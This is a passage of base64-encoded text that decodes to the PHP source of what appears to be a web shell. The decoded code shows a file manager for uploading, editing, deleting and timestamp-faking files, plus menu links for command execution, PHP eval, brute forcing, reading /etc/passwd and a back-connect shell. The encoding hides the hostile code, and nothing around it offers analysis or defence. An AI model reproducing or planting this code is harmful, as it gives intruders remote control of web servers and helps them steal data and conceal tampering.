AZ2V0bXl1aWQoKS4iICgiLkBnZXRfY3VycmVudF91c2VyKCkuIikgZ2lkPSIuQGdldG15Z2lkKCkuIigiLkBnZXRfY3VycmVudF91c2VyKCkuIik8YnI+IjsKCQk/PgoJCTwvdGQ+PC90cj48L3RhYmxlPjwvdGQ+Cgk8L3RyPgoJPHRyIGNsYXNzPSJhbHQxIj4KCQk8dGQgIHdpZHRoPTEwJT48c3BhbiBzdHlsZT0iZmxvYXQ6bGVmdDsiPltTZXJ2ZXIgSVA6IDw/cGhwIGVjaG8gIjxmb250IGNvbG9yPXllbGxvdz4iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiI8L2ZvbnQ+Ijs/PiAtIFlvdXIgSVA6IDw/cGhwIGVjaG8gIjxmb250IGNvbG9yPXllbGxvdz4iLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLiI8L2ZvbnQ+Ijs/Pl0gPC9zcGFuPiAgIDxiciAvPgotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxiciAvPgoJCQkKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignZmlsZScpOyI+RmlsZSBNYW5hZ2VyPC9hPiB8CgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NxbGFkbWluJyk7Ij5NeVNRTCBNYW5hZ2VyPC9hPiB8CgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NxbGZpbGUnKTsiPk15U1FMIFVwbG9hZCAmYW1wOyBEb3dubG9hZDwvYT4gfAoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdzaGVsbCcpOyI+RXhlY3V0ZSBDb21tYW5kPC9hPiB8CgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3BocGVudicpOyI+UEhQIFZhcmlhYmxlPC9hPiB8CgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2V2YWwnKTsiPkV2YWwgUEhQIENvZGU8L2E+CgkJCTw/cGhwIGlmICghSVNfV0lOKSB7Pz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdicnV0ZScpOyI+QnJ1dGU8L2E+IDw/cGhwIH0/PgoJCQk8P3BocCBpZiAoIUlTX1dJTikgez8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignZXRjcHdkJyk7Ij4vZXRjL3Bhc3N3ZDwvYT4gPD9waHAgfT8+CgkJCTw/cGhwIGlmICghSVNfV0lOKSB7Pz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdiYWNrY29ubmVjdCcpOyI+QmFjayBDb25uZWN0PC9hPjw/cGhwIH0/PgoJCTwvdGQ+Cgk8L3RyPgo8L3RhYmxlPgo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjE1IiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD4KPD9waHAKCmZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2dvYWN0aW9uJykpOwptYWtlaGlkZSgnYWN0aW9uJyk7CmZvcm1mb290KCk7CgokZXJybXNnICYmIG0oJGVycm1zZyk7CgovLyBEaXIgZnVuY3Rpb24KISRkaXIgJiYgJGRpciA9ICcuJzsKJG5vd3BhdGggPSBnZXRQYXRoKFNBX1JPT1QsICRkaXIpOwppZiAoc3Vic3RyKCRkaXIsIC0xKSAhPSAnLycpIHsKCSRkaXIgPSAkZGlyLicvJzsKfQokdWVkaXIgPSB1ZSgkZGlyKTsKCmlmICghJGFjdGlvbiB8fCAkYWN0aW9uID09ICdmaWxlJykgewoKCS8vIE5vbi13cml0ZWFibGUKCSRkaXJfd3JpdGVhYmxlID0gQGlzX3dyaXRhYmxlKCRub3dwYXRoKSA/ICdXcml0YWJsZScgOiAnTm9uLXdyaXRhYmxlJzsKCgkvLyBEZWxldGUgZGlyCglpZiAoJGRvaW5nID09ICdkZWxkaXInICYmICR0aGVmaWxlKSB7CgkJaWYgKCFmaWxlX2V4aXN0cygkdGhlZmlsZSkpIHsKCQkJbSgkdGhlZmlsZS4nIGRpcmVjdG9yeSBkb2VzIG5vdCBleGlzdCcpOwoJCX0gZWxzZSB7CgkJCW0oJ0RpcmVjdG9yeSBkZWxldGUgJy4oZGVsdHJlZSgkdGhlZmlsZSkgPyBiYXNlbmFtZSgkdGhlZmlsZSkuJyBzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJfQoJfQoKCS8vIENyZWF0ZSBuZXcgZGlyCgllbHNlaWYgKCRuZXdkaXJuYW1lKSB7CgkJJG1rZGlycyA9ICRub3dwYXRoLiRuZXdkaXJuYW1lOwoJCWlmIChmaWxlX2V4aXN0cygkbWtkaXJzKSkgewoJCQltKCdEaXJlY3RvcnkgaGFzIGFscmVhZHkgZXhpc3RlZCcpOwoJCX0gZWxzZSB7CgkJCW0oJ0RpcmVjdG9yeSBjcmVhdGVkICcuKEBta2RpcigkbWtkaXJzLDA3NzcpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQkJQGNobW9kKCRta2RpcnMsMDc3Nyk7CgkJfQoJfQoKCS8vIFVwbG9hZCBmaWxlCgllbHNlaWYgKCRkb3VwZmlsZSkgewoJCW0oJ0ZpbGUgdXBsb2FkICcuKEBjb3B5KCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsndG1wX25hbWUnXSwkdXBsb2FkZGlyLicvJy4kX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ25hbWUnXSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJfQoKCS8vIEVkaXQgZmlsZQoJZWxzZWlmICgkZWRpdGZpbGVuYW1lICYmICRmaWxlY29udGVudCkgewoJCSRmcCA9IEBmb3BlbigkZWRpdGZpbGVuYW1lLCd3Jyk7CgkJbSgnU2F2ZSBmaWxlICcuKEBmd3JpdGUoJGZwLCRmaWxlY29udGVudCkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCUBmY2xvc2UoJGZwKTsKCX0KCgkvLyBNb2RpZnkKCWVsc2VpZiAoJHBmaWxlICYmICRuZXdwZXJtKSB7CgkJaWYgKCFmaWxlX2V4aXN0cygkcGZpbGUpKSB7CgkJCW0oJ1RoZSBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7CgkJfSBlbHNlIHsKCQkJJG5ld3Blcm0gPSBiYXNlX2NvbnZlcnQoJG5ld3Blcm0sOCwxMCk7CgkJCW0oJ01vZGlmeSBmaWxlIGF0dHJpYnV0ZXMgJy4oQGNobW9kKCRwZmlsZSwkbmV3cGVybSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCX0KCX0KCgkvLyBSZW5hbWUKCWVsc2VpZiAoJG9sZG5hbWUgJiYgJG5ld2ZpbGVuYW1lKSB7CgkJJG5uYW1lID0gJG5vd3BhdGguJG5ld2ZpbGVuYW1lOwoJCWlmIChmaWxlX2V4aXN0cygkbm5hbWUpIHx8ICFmaWxlX2V4aXN0cygkb2xkbmFtZSkpIHsKCQkJbSgkbm5hbWUuJyBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsKCQl9IGVsc2UgewoJCQltKGJhc2VuYW1lKCRvbGRuYW1lKS4nIHJlbmFtZWQgJy5iYXNlbmFtZSgkbm5hbWUpLihAcmVuYW1lKCRvbGRuYW1lLCRubmFtZSkgPyAnIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8gQ29wdQoJZWxzZWlmICgkc25hbWUgJiYgJHRvZmlsZSkgewoJCWlmIChmaWxlX2V4aXN0cygkdG9maWxlKSB8fCAhZmlsZV9leGlzdHMoJHNuYW1lKSkgewoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOwoJCX0gZWxzZSB7CgkJCW0oYmFzZW5hbWUoJHRvZmlsZSkuJyBjb3BpZWQgJy4oQGNvcHkoJHNuYW1lLCR0b2ZpbGUpID8gYmFzZW5hbWUoJHRvZmlsZSkuJyBzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJfQoJfQoKCS8vIEZpbGUgZXhpdAoJZWxzZWlmICgkY3VyZmlsZSAmJiAkdGFyZmlsZSkgewoJCWlmICghQGZpbGVfZXhpc3RzKCRjdXJmaWxlKSB8fCAhQGZpbGVfZXhpc3RzKCR0YXJmaWxlKSkgewoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOwoJCX0gZWxzZSB7CgkJCSR0aW1lID0gQGZpbGVtdGltZSgkdGFyZmlsZSk7CgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCX0KCX0KCgkvLyBEYXRlCgllbHNlaWYgKCRjdXJmaWxlICYmICR5ZWFyICYmICRtb250aCAmJiAkZGF5ICYmICRob3VyICYmICRtaW51dGUgJiYgJHNlY29uZCkgewoJCWlmICghQGZpbGVfZXhpc3RzKCRjdXJmaWxlKSkgewoJCQltKGJhc2VuYW1lKCRjdXJmaWxlKS4nIGRvZXMgbm90IGV4aXN0Jyk7CgkJfSBlbHNlIHsKCQkJJHRpbWUgPSBzdHJ0b3RpbWUoIiR5ZWFyLSRtb250aC0kZGF5ICRob3VyOiRtaW51dGU6JHNlY29uZCIpOwoJCQltKCdNb2RpZnkgZmlsZSB0aGUgbGFzdCBtb2RpZmllZCAnLihAdG91Y2goJGN1cmZpbGUsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8gRG93bmxvYWQKCWVsc2VpZigkZG9pbmcgPT0gJ2Rvd25yYXInKSB7CgkJaWYgKCRkbCkgewoJCQkkZGZpbGVzPScnOwoJCQlmb3JlYWNoICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgewoJCQkJJGRmaWxlcy49JGZpbGVwYXRoLicsJzsKCQkJfQoJCQkkZGZpbGVzPXN1YnN0cigkZGZpbGVzLDAsc3RybGVuKCRkZmlsZXMpLTEpOwoJCQkkZGw9ZXhwbG9kZSgnLCcsJGRmaWxlcyk7CgkJCSR6aXA9bmV3IFBIUFppcCgkZGwpOwoJCQkkY29kZT0kemlwLT5vdXQ7CgkJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nKTsKCQkJaGVhZGVyKCdBY2NlcHQtUmFuZ2VzOiBieXRlcycpOwoJCQloZWFkZXIoJ0FjY2VwdC1MZW5ndGg6ICcuc3RybGVuKCRjb2RlKSk7CgkJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDtmaWxlbmFtZT0nLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4nX0ZpbGVzLnRhci5neicpOwoJCQllY2hvICRjb2RlOwoJCQlleGl0OwoJCX0gZWxzZSB7CgkJCW0oJ1BsZWFzZSBzZWxlY3QgZmlsZShzKScpOwoJCX0KCX0KCgkvLyBEZWxldGUgZmlsZQoJZWxzZWlmKCRkb2luZyA9PSAnZGVsZmlsZXMnKSB7CgkJaWYgKCRkbCkgewoJCQkkZGZpbGVzPScnOwoJCQkkc3VjYyA9ICRmYWlsID0gMDsKCQkJZm9yZWFjaCAoJGRsIGFzICRmaWxlcGF0aCA9PiAkdmFsdWUpIHsKCQkJCWlmIChAdW5saW5rKCRmaWxlcGF0aCkpIHsKCQkJCQkkc3VjYysrOwoJCQkJfSBlbHNlIHsKCQkJCQkkZmFpbCsrOwoJCQkJfQoJCQl9CgkJCW0oJ0RlbGV0ZWQgZmlsZSBoYXZlIGZpbmlzaGVkPz9jaG9vc2UgJy5jb3VudCgkZGwpLicgc3VjY2VzcyAnLiRzdWNjLicgZmFpbCAnLiRmYWlsKTsKCQl9IGVsc2UgewoJCQltKCdQbGVhc2Ugc2VsZWN0IGZpbGUocyknKTsKCQl9Cgl9CgoJLy8gRnVuY3Rpb24gTmV3ZGlyCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidjcmVhdGVkaXInKSk7CgltYWtlaGlkZSgnbmV3ZGlybmFtZScpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJZm9ybWZvb3QoKTsKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2ZpbGVwZXJtJykpOwoJbWFrZWhpZGUoJ25ld3Blcm0nKTsKCW1ha2VoaWRlKCdwZmlsZScpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJZm9ybWZvb3QoKTsKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2NvcHlmaWxlJykpOwoJbWFrZWhpZGUoJ3NuYW1lJyk7CgltYWtlaGlkZSgndG9maWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4ncmVuYW1lJykpOwoJbWFrZWhpZGUoJ29sZG5hbWUnKTsKCW1ha2VoaWRlKCduZXdmaWxlbmFtZScpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJZm9ybWZvb3QoKTsKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2ZpbGVvcGZvcm0nKSk7CgltYWtlaGlkZSgnYWN0aW9uJyk7CgltYWtlaGlkZSgnb3BmaWxlJyk7CgltYWtlaGlkZSgnZGlyJyk7Cglmb3JtZm9vdCgpOwoKCSRmcmVlID0gQGRpc2tfZnJlZV9zcGFjZSgkbm93cGF0aCk7CgkhJGZyZWUgJiYgJGZyZWUgPSAwOwoJJGFsbCA9IEBkaXNrX3RvdGFsX3NwYWNlKCRub3dwYXRoKTsKCSEkYWxsICYmICRhbGwgPSAwOwoJJHVzZWQgPSAkYWxsLSRmcmVlOwoJJHVzZWRfcGVyY2VudCA9IEByb3VuZCgxMDAvKCRhbGwvJGZyZWUpLDIpOwoJcCgnPGZvbnQgY29sb3I9eWVsbG93IGZhY2U9dGFob21hIHNpemU9Mj48Qj5GaWxlIE1hbmFnZXI8L2I+IDwvZm9udD4gQ3VycmVudCBkaXNrIGZyZWUgPGZvbnQgY29sb3I9cmVkPicuc2l6ZWNvdW50KCRmcmVlKS4nPC9mb250PiBvZiA8Zm9udCBjb2xvcj1yZWQ+Jy5zaXplY291bnQoJGFsbCkuJzwvZm9udD4gKDxmb250IGNvbG9yPXJlZD4nLiR1c2VkX3BlcmNlbnQuJzwvZm9udD4lKTwvZm9udD4nKTsKCj8+Cjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHN0eWxlPSJtYXJnaW46MTBweCAwOyI+CiAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgaWQ9ImdvZGlyIiBuYW1lPSJnb2RpciI+CiAgPHRyPgogICAgPHRkIG5vd3JhcD5DdXJyZW50IERpcmVjdG9yeSAoPD9waHAgZWNobyAkZGlyX3dyaXRlYWJsZTs/PiwgPD9waHAgZWNobyBnZXRDaG1vZCgkbm93cGF0aCk7Pz4pPC90ZD4KCTx0ZCB3aWR0aD0iMTAwJSI+PGlucHV0IG5hbWU9InZpZXdfd3JpdGFibGUiIHZhbHVlPSIwIiB0eXBlPSJoaWRkZW4iIC8+PGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0iZGlyIiB2YWx1ZT0iPD9waHAgZWNobyAkbm93cGF0aDs/PiIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOjEwMCU7bWFyZ2luOjAgOHB4OyI+PC90ZD4KICAgIDx0ZCBub3dyYXA+PGlucHV0IGNsYXNzPSJidCIgdmFsdWU9IkdPIiB0eXBlPSJzdWJtaXQiPjwvdGQ+CiAgPC90cj4KICA8L2Zvcm0+CjwvdGFibGU+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY3JlYXRlZGlyKCl7Cgl2YXIgbmV3ZGlybmFtZTsKCW5ld2Rpcm5hbWUgPSBwcm9tcHQoJ1BsZWFzZSBpbnB1dCB0aGUgZGlyZWN0b3J5IG5hbWU6JywgJycpOwoJaWYgKCFuZXdkaXJuYW1lKSByZXR1cm47CgkkKCdjcmVhdGVkaXInKS5uZXdkaXJuYW1lLnZhbHVlPW5ld2Rpcm5hbWU7CgkkKCdjcmVhdGVkaXInKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiBmaWxlcGVybShwZmlsZSl7Cgl2YXIgbmV3cGVybTsKCW5ld3Blcm0gPSBwcm9tcHQoJ0N1cnJlbnQgZmlsZTonK3BmaWxlKydcblBsZWFzZSBpbnB1dCBuZXcgYXR0cmlidXRlOicsICcnKTsKCWlmICghbmV3cGVybSkgcmV0dXJuOwoJJCgnZmlsZXBlcm0nKS5uZXdwZXJtLnZhbHVlPW5ld3Blcm07CgkkKCdmaWxlcGVybScpLnBmaWxlLnZhbHVlPXBmaWxlOwoJJCgnZmlsZXBlcm0nKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiBjb3B5ZmlsZShzbmFtZSl7Cgl2YXIgdG9maWxlOwoJdG9maWxlID0gcHJvbXB0KCdPcmlnaW5hbCBmaWxlOicrc25hbWUrJ1xuUGxlYXNlIGlucHV0IG9iamVjdCBmaWxlIChmdWxscGF0aCk6JywgJycpOwoJaWYgKCF0b2ZpbGUpIHJldHVybjsKCSQoJ2NvcHlmaWxlJykudG9maWxlLnZhbHVlPXRvZmlsZTsKCSQoJ2NvcHlmaWxlJykuc25hbWUudmFsdWU9c25hbWU7CgkkKCdjb3B5ZmlsZScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIHJlbmFtZShvbGRuYW1lKXsKCXZhciBuZXdmaWxlbmFtZTsKCW5ld2ZpbGVuYW1lID0gcHJvbXB0KCdGb3JtZXIgZmlsZSBuYW1lOicrb2xkbmFtZSsnXG5QbGVhc2UgaW5wdXQgbmV3IGZpbGVuYW1lOicsICcnKTsKCWlmICghbmV3ZmlsZW5hbWUpIHJldHVybjsKCSQoJ3JlbmFtZScpLm5ld2ZpbGVuYW1lLnZhbHVlPW5ld2ZpbGVuYW1lOwoJJCgncmVuYW1lJykub2xkbmFtZS52YWx1ZT1vbGRuYW1lOwoJJCgncmVuYW1lJykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gZG9maWxlKGRvaW5nLHRoZWZpbGUsbSl7CglpZiAobSAmJiAhY29uZmlybShtKSkgewoJCXJldHVybjsKCX0KCSQoJ2ZpbGVsaXN0JykuZG9pbmcudmFsdWU9ZG9pbmc7CglpZiAodGhlZmlsZSl7CgkJJCgnZmlsZWxpc3QnKS50aGVmaWxlLnZhbHVlPXRoZWZpbGU7Cgl9CgkkKCdmaWxlbGlzdCcpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGNyZWF0ZWZpbGUobm93cGF0aCl7Cgl2YXIgZmlsZW5hbWU7CglmaWxlbmFtZSA9IHByb21wdCgnUGxlYXNlIGlucHV0IHRoZSBmaWxlIG5hbWU6JywgJycpOwoJaWYgKCFmaWxlbmFtZSkgcmV0dXJuOwoJb3BmaWxlKCdlZGl0ZmlsZScsbm93cGF0aCArIGZpbGVuYW1lLG5vd3BhdGgpOwp9CmZ1bmN0aW9uIG9wZmlsZShhY3Rpb24sb3BmaWxlLGRpcil7CgkkKCdmaWxlb3Bmb3JtJykuYWN0aW9uLnZhbHVlPWFjdGlvbjsKCSQoJ2ZpbGVvcGZvcm0nKS5vcGZpbGUudmFsdWU9b3BmaWxlOwoJJCgnZmlsZW9wZm9ybScpLmRpci52YWx1ZT1kaXI7CgkkKCdmaWxlb3Bmb3JtJykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gZ29kaXIoZGlyLHZpZXdfd3JpdGFibGUpewoJaWYgKHZpZXdfd3JpdGFibGUpIHsKCQkkKCdnb2RpcicpLnZpZXdfd3JpdGFibGUudmFsdWU9MTsKCX0KCSQoJ2dvZGlyJykuZGlyLnZhbHVlPWRpcjsKCSQoJ2dvZGlyJykuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+CiAgPD9waHAKCXRiaGVhZCgpOwoJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PHRyIGNsYXNzPSJhbHQxIj48dGQgY29sc3Bhbj0iNyIgc3R5bGU9InBhZGRpbmc6NXB4OyI+Jyk7CglwKCc8ZGl2IHN0eWxlPSJmbG9hdDpyaWdodDsiPjxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHZhbHVlPSIiIHR5cGU9ImZpbGUiIC8+IDxpbnB1dCBjbGFzcz0iIiBuYW1lPSJkb3VwZmlsZSIgdmFsdWU9IlVwbG9hZCIgdHlwZT0ic3VibWl0IiAvPjxpbnB1dCBuYW1lPSJ1cGxvYWRkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjxpbnB1dCBuYW1lPSJkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjwvZGl2PicpOwoJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4nXCcpOyI+V2ViUm9vdDwvYT4nKTsKCWlmICgkdmlld193cml0YWJsZSkgewoJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRub3dwYXRoLidcJyk7Ij5WaWV3IEFsbDwvYT4nKTsKCX0gZWxzZSB7CgkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnLFwnMVwnKTsiPlZpZXcgV3JpdGFibGU8L2E+Jyk7Cgl9CglwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmNyZWF0ZWRpcigpOyI+Q3JlYXRlIERpcmVjdG9yeTwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmNyZWF0ZWZpbGUoXCcnLiRub3dwYXRoLidcJyk7Ij5DcmVhdGUgRmlsZTwvYT4nKTsKCWlmIChJU19XSU4gJiYgSVNfQ09NKSB7CgkJJG9iaiA9IG5ldyBDT00oJ3NjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Jyk7CgkJaWYgKCRvYmogJiYgaXNfb2JqZWN0KCRvYmopKSB7CgkJCSREcml2ZVR5cGVEQiA9IGFycmF5KDAgPT4gJ1Vua25vdycsMSA9PiAnUmVtb3ZhYmxlJywyID0+ICdGaXhlZCcsMyA9PiAnTmV0d29yaycsNCA9PiAnQ0RSb20nLDUgPT4gJ1JBTSBEaXNrJyk7CgkJCWZvcmVhY2goJG9iai0+RHJpdmVzIGFzICRkcml2ZSkgewoJCQkJaWYgKCRkcml2ZS0+RHJpdmVUeXBlID09IDIpIHsKCQkJCQlwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZHJpdmUtPlBhdGguJy9cJyk7IiB0aXRsZT0iU2l6ZTonLnNpemVjb3VudCgkZHJpdmUtPlRvdGFsU2l6ZSkuJyYjMTM7RnJlZTonLnNpemVjb3VudCgkZHJpdmUtPkZyZWVTcGFjZSkuJyYjMTM7VHlwZTonLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJyI+Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLicoJy4kZHJpdmUtPlBhdGguJyk8L2E+Jyk7CgkJCQl9IGVsc2UgewoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsKCQkJCX0KCQkJfQoJCX0KCX0KCglwKCc8L3RkPjwvdHI+PC9mb3JtPicpOwoKCXAoJzx0ciBjbGFzcz0iaGVhZCI+PHRkPiZuYnNwOzwvdGQ+PHRkPkZpbGVuYW1lPC90ZD48dGQgd2lkdGg9IjE2JSI+TGFzdCBtb2RpZmllZDwvdGQ+PHRkIHdpZHRoPSIxMCUiPlNpemU8L3RkPjx0ZCB3aWR0aD0iMjAlIj5DaG1vZCAvIFBlcm1zPC90ZD48dGQgd2lkdGg9IjIyJSI+QWN0aW9uPC90ZD48L3RyPicpOwoKCS8vIEdldCBwYXRoCgkkZGlyZGF0YT1hcnJheSgpOwoJJGZpbGVkYXRhPWFycmF5KCk7CgoJaWYgKCR2aWV3X3dyaXRhYmxlKSB7CgkJJGRpcmRhdGEgPSBHZXRMaXN0KCRub3dwYXRoKTsKCX0gZWxzZSB7CgkJLy8gT3BlbiBkaXIKCQkkZGlycz1Ab3BlbmRpcigkZGlyKTsKCQl3aGlsZSAoJGZpbGU9QHJlYWRkaXIoJGRpcnMpKSB7CgkJCSRmaWxlcGF0aD0kbm93cGF0aC4kZmlsZTsKCQkJaWYoQGlzX2RpcigkZmlsZXBhdGgpKXsKCQkJCSRkaXJkYlsnZmlsZW5hbWUnXT0kZmlsZTsKCQkJCSRkaXJkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsKCQkJCSRkaXJkYlsnZGlyY2htb2QnXT1nZXRDaG1vZCgkZmlsZXBhdGgpOwoJCQkJJGRpcmRiWydkaXJwZXJtJ109Z2V0UGVybXMoJGZpbGVwYXRoKTsKCQkJCSRkaXJkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBhdGgpOwoJCQkJJGRpcmRiWydkaXJsaW5rJ109JG5vd3BhdGg7CgkJCQkkZGlyZGJbJ3NlcnZlcl9saW5rJ109JGZpbGVwYXRoOwoJCQkJJGRpcmRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0aCk7CgkJCQkkZGlyZGF0YVtdPSRkaXJkYjsKCQkJfSBlbHNlIHsKCQkJCSRmaWxlZGJbJ2ZpbGVuYW1lJ109JGZpbGU7CgkJCQkkZmlsZWRiWydzaXplJ109c2l6ZWNvdW50KEBmaWxlc2l6ZSgkZmlsZXBhdGgpKTsKCQkJCSRmaWxlZGJbJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGZpbGVwYXRoKSk7CgkJCQkkZmlsZWRiWydmaWxlY2htb2QnXT1nZXRDaG1vZCgkZmlsZXBhdGgpOwoJCQkJJGZpbGVkYlsnZmlsZXBlcm0nXT1nZXRQZXJtcygkZmlsZXBhdGgpOwoJCQkJJGZpbGVkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBhdGgpOwoJCQkJJGZpbGVkYlsnZGlybGluayddPSRub3dwYXRoOwoJCQkJJGZpbGVkYlsnc2VydmVyX2xpbmsnXT0kZmlsZXBhdGg7CgkJCQkkZmlsZWRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0aCk7CgkJCQkkZmlsZWRhdGFbXT0kZmlsZWRiOwoJCQl9CgkJfS8vIHdoaWxlCgkJdW5zZXQoJGRpcmRiKTsKCQl1bnNldCgkZmlsZWRiKTsKCQlAY2xvc2VkaXIoJGRpcnMpOwoJfQoJQHNvcnQoJGRpcmRhdGEpOwoJQHNvcnQoJGZpbGVkYXRhKTsKCSRkaXJfaSA9ICcwJzsKCWZvcmVhY2goJGRpcmRhdGEgYXMgJGtleSA9PiAkZGlyZGIpewoJCWlmKCRkaXJkYlsnZmlsZW5hbWUnXSE9Jy4uJyAmJiAkZGlyZGJbJ2ZpbGVuYW1lJ10hPScuJykgewoJCQkkdGhpc2JnID0gYmcoKTsKCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsKCQkJcCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxmb250IGZhY2U9IndpbmdkaW5ncyIgc2l6ZT0iMyI+MDwvZm9udD48L3RkPicpOwoJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZmlsZW5hbWUnXS4nPC9hPjwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dyYXA+Jy4kZGlyZGJbJ210aW1